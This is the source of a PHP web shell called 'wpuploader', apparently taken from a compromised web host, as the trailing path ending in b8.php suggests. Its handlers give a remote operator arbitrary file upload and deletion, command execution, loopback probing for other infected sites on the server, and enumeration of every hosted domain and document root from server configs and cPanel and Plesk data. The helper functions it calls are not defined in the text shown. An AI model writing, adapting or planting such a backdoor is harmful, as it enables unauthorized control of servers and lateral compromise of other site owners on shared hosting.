.-.-.-.-.-

<?php
error_reporting(0);
@set_time_limit(0);
@ini_set('memory_limit','-1');

/* ---------- info ---------- */
if($do==='info'){
    out(['cwd'=>getcwd(), 'user'=>@get_current_user(),
         'exec'=>strlen(sh('id'))>0, 'curl'=>function_exists('curl_init')]);
}

/* ---------- upload ---------- */
if($do==='put'){
    if(empty($_FILES['f']['name'])) out(['ok'=>0,'err'=>'no_file']);
    $path = isset($_GET['p']) ? rtrim($_GET['p'],'/') : '';
    $dst  = ($path==='' ? '' : $path.'/').basename($_FILES['f']['name']);
    $dir  = dirname($dst);
    if(@move_uploaded_file($_FILES['f']['tmp_name'], $dst))
        out(['ok'=>1, 'path'=>$dst]);
    out(['ok'=>0, 'exists'=>@is_dir($dir), 'writable'=>@is_writable($dir)]);
}

/* ---------- check on disk ---------- */
if($do==='has'){
    $p = isset($_GET['p']) ? $_GET['p'] : '';
    if(!is_file($p)) out(['ok'=>0]);
    $s = @file_get_contents($p);
    out(['ok'=>1, 'size'=>strlen($s), 'match'=>strpos($s,'wpuploader')!==false]);
}

/* ---------- delete ---------- */
if($do==='del'){
    $p = isset($_GET['p']) ? $_GET['p'] : '';
    @unlink($p);
    out(['ok'=>!file_exists($p)]);
}

/* ---------- loopback probe ---------- */
if($do==='probe'){
    $hosts = isset($_GET['h']) ? explode(',',$_GET['h']) : [];
    $hits = [];
    foreach(['http://127.0.0.1','https://127.0.0.1'] as $base){
        foreach($hosts as $h){
            $h = trim($h); if(!$h) continue;
            $code = 0; $body = '';
            if(function_exists('curl_init')){
                $ch = curl_init($base.'/b8.php');
                curl_setopt_array($ch,[
                    CURLOPT_RETURNTRANSFER=>1, CURLOPT_SSL_VERIFYPEER=>0,
                    CURLOPT_SSL_VERIFYHOST=>0, CURLOPT_FOLLOWLOCATION=>1,
                    CURLOPT_TIMEOUT=>4, CURLOPT_CONNECTTIMEOUT=>4,
                    CURLOPT_HTTPHEADER=>["Host: $h"],
                ]);
                $body = curl_exec($ch);
                $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
            }
            if($code==200 && stripos((string)$body,'wpuploader')!==false){
                $hits[] = ['scheme'=>strpos($base,'https')===0?'https':'http', 'host'=>$h];
                break;
            }
        }
    }
    out(['hits'=>$hits]);
}

/* ---------- scan filesystem for domains ---------- */
if($do==='scan'){
    $map = [];
    $bad = ['php','phtml','html','htm','js','css','json','xml','txt','log',
            'jpg','png','gif','svg','ico','zip','tar','gz','pdf','orig','bak',
            'old','tmp','map','disabled','min','lock','sql','db','yaml','yml'];
    $re  = '/^[a-z0-9]([a-z0-9-]*[a-z0-9])?(\.[a-z0-9]([a-z0-9-]*[a-z0-9])?)+$/i';
    $subs = ['httpdocs','httpsdocs','public_html','www','htdocs','web',
             'public','wwwroot','html','webroot','docroot'];

$add = function($d,$p) use (&$map,$bad,$re){
        $d = strtolower(trim($d));
        if(!$d || strpos($d,'.')===false) return;
        if(strpos($d,'*')!==false) return;
        if(strlen($d)>253) return;
        if(!preg_match($re,$d)) return;
        $tld = substr(strrchr($d,'.'),1);
        if(in_array($tld,$bad)) return;
        if(!isset($map[$d])) $map[$d] = [];
        $p = rtrim($p,'/');
        if($p && !in_array($p,$map[$d])) $map[$d][] = $p;
    };

/* walk a directory, add each domain-shaped child */
    $walk = function($root) use (&$add,$re,$subs){
        if(!is_dir($root)) return;
        $items = @scandir($root); if(!$items) return;
        foreach($items as $f){
            if($f==='.'||$f==='..'||$f[0]==='.') continue;
            $p = $root.'/'.$f;
            if(!is_dir($p)) continue;
            if(!preg_match($re,$f)) continue;
            $add($f,$p);
            foreach($subs as $s) if(is_dir("$p/$s")) $add($f,"$p/$s");
        }
    };

/* canonical vhost roots */
    foreach(['/var/www/vhosts','/var/www/html','/var/www','/www/wwwroot',
             '/srv/www/htdocs','/srv/www','/usr/share/nginx/html',
             '/var/www/virtual','/opt/lampp/htdocs'] as $r) $walk($r);

/* Plesk: /var/www/clients/clientN/webN/DOMAIN */
    if(is_dir('/var/www/clients')){
        foreach((array)@scandir('/var/www/clients') as $c){
            if($c[0]==='.') continue;
            foreach((array)@scandir("/var/www/clients/$c") as $w){
                if($w[0]==='.') continue;
                $walk("/var/www/clients/$c/$w");
            }
        }
    }

/* /home/USER/{public_html,domains} */
    if(is_dir('/home')){
        foreach((array)@scandir('/home') as $u){
            if($u[0]==='.') continue;
            $walk("/home/$u/public_html");
            $walk("/home/$u/domains");
        }
    }

/* nginx/apache configs — extract ServerName + DocumentRoot pairs */
    $cfgs = sh("find /etc/nginx /etc/apache2 /etc/httpd /usr/local/apache /opt/psa -type f 2>/dev/null | head -200");
    if($cfgs) foreach(explode("\n",trim($cfgs)) as $f){
        if(!$f || !is_file($f) || @filesize($f)>3000000) continue;
        $src = @file_get_contents($f); if(!$src) continue;

if(preg_match_all('/server\s*\{((?:[^{}]|\{[^{}]*\})*)\}/s',$src,$bl))
            foreach($bl[1] as $b){
                $ns = []; $root = '';
                if(preg_match_all('/server_name\s+([^;]+);/i',$b,$m))
                    foreach($m[1] as $line)
                        foreach(preg_split('/\s+/',trim($line)) as $d){
                            $d = trim($d,"\"' ");
                            if($d && $d!=='_' && strpos($d,'.')!==false) $ns[] = $d;
                        }
                if(preg_match('/\broot\s+([^;]+);/i',$b,$m))
                    $root = trim($m[1],"\"' \t\r\n");
                foreach($ns as $n) $add($n,$root);
            }

if(preg_match_all('/<VirtualHost[^>]*>(.*?)<\/VirtualHost>/is',$src,$vh))
            foreach($vh[1] as $b){
                $ns = []; $root = '';
                if(preg_match_all('/(?:ServerName|ServerAlias)\s+(\S+)/i',$b,$m))
                    foreach($m[1] as $d){
                        $d = trim($d,"\"' ");
                        if($d && strpos($d,'.')!==false) $ns[] = $d;
                    }
                if(preg_match('/DocumentRoot\s+["\']?([^\s"\';]+)/i',$b,$m))
                    $root = $m[1];
                foreach($ns as $n) $add($n,$root);
            }
    }

/* cPanel */
    if(is_dir('/var/cpanel/users')){
        foreach((array)@scandir('/var/cpanel/users') as $u){
            if($u[0]==='.') continue;
            $src = @file_get_contents("/var/cpanel/users/$u"); if(!$src) continue;
            if(preg_match_all('/^DNS\d+=(.+)$/m',$src,$m))
                foreach($m[1] as $d){
                    $d = trim($d);
                    foreach(["/home/$u/public_html","/home/$u/domains/$d/public_html","/home/$u/$d"] as $r)
                        if(is_dir($r)) $add($d,$r);
                }
        }
    }

out(['count'=>count($map), 'domains'=>$map]);
}

/* ---------- default HTML page ---------- */
header('Content-Type: text/html; charset=utf-8');
echo '<html><head><title>wpuploader</title></head><body>';
echo '<h1>wpuploader</h1><pre>CWD='.getcwd().'</pre>';
if(!empty($_FILES['f']['name'])){
    $p   = isset($_GET['p']) ? rtrim($_GET['p'],'/') : '';
    $dst = ($p==='' ? '' : $p.'/').basename($_FILES['f']['name']);
    if(@move_uploaded_file($_FILES['f']['tmp_name'],$dst))
        echo '<pre>Upload Success: '.htmlspecialchars($dst).'</pre>';
    else
        echo '<pre>Upload failed</pre>';
}
echo '<form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="f"><input type="submit" name="_upl" value="Uploaded">';
echo '</form></body></html>';

/home/histoio/www/f41a3/./../../www/IMG/../b8.php